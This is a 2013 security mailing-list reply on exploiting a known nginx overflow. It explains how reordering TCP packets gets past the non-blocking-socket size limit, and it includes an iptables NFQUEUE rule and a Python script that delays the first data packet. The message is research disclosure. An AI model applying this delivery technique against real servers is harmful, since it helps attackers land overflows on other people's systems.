Message-ID: <CAO4nny5oLHKdhCRviD78Hh-KfNTcjDgt4a2RzL6yixyrNkYrwA@mail.gmail.com>
Date: Tue, 23 Jul 2013 23:12:25 +0200
From: Albert Puigsech Galicia <albert@...gsech.com>
To: king cope <isowarez.isowarez.isowarez@...glemail.com>
Cc: submissions@...ketstormsecurity.com, full-disclosure@...ts.grok.org.uk,
 bugtraq@...urityfocus.com, submit@...sec.com
Subject: Re: nginx exploit documentation,
 about a generic way to exploit Linux targets

Hello everybody,


> "Ioctl is needed to set the nginx socket blocking so another call to
write(2) will read much more memory than it is possible with the default
non-blocking connection of nginx."


This vulnerability was published recently and it seems that many exploiters
got stuck because the socket will not block because the buffer is longer
than the standard ethernet MTU, some others have found another attack
vector without that problem.

Let me to explain how we have achieved to overcome the non-blocking socket
impediment without doing so much:


When packets arriving at the TCP layer are analyzed and once determined the
sequence are immediately delivered to the upper layer of the OSI model.

Let's imagine that you want to overflow a big buffer through the network.
Normally you would execute something like;

send(sock, "AAAAA….A",…);

If the size of the data is bigger than the MTU, is then splitted into multiple
packages. The destination processes the information on many smaller
packages instead of one. In summary,the read()/recv() doesn't get all the
data and the overflow is not done.

And that's what's happening on ngingx.



What we have done to prevent that packets are delivered directly to the next
layer is taking profit of TCP windows and TCP reorder: sending the first
package on the last place.

What happens is that the TCP stack will not deliver the packets to the next
layer because the information is not complete, and just wait until all
information (up to the size of the tcp window) is received to deliver it.

Then the application layer will get all the information in _the same_ read
an the overflow will happen.



Using that TCP trick, the size limitation of the overflow is the TCP window
size instead the MTU.



One easy and **dirty** way to implement this is using iptables and nfqueue,
but there are some better ones:

# iptables -A OUTPUT -p tcp -d <IP> --destination-port <PORT> -j NFQUEUE
# python nfq.py

Regards,



===/ nfq.py /===
import nfqueue
import socket
import time

data_count = 0
delayed = None

def cb(dummy, payload):
        global data_count
        global delayed
        data = payload.get_data()
# DIRTY for first data package (not three-way-handshake)
        if len(data) > 60:
                data_count += 1
                if (data_count == 1):
                        delayed = payload
                        print data
 # Just DROP the packet and the local TCP stack will send it again because
won't get the ACK.
                        payload.set_verdict(nfqueue.NF_DROP)
         else:
                data_count = 0


q = nfqueue.queue()
q.open()
q.bind(socket.AF_INET)
q.set_callback(cb)
q.create_queue(0)
try:
        q.try_run()
except KeyboardInterrupt:
        print "Exiting..."
q.unbind(socket.AF_INET)
q.close()
===/ nfq.py /===




-- 
Albert Puigsech Galicia
+ Mail: albert@...gsech.com
+ Jabber: albert@...gsech.com
+ Twitter: @apuigsech
+ Web: http://int3pids.com

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists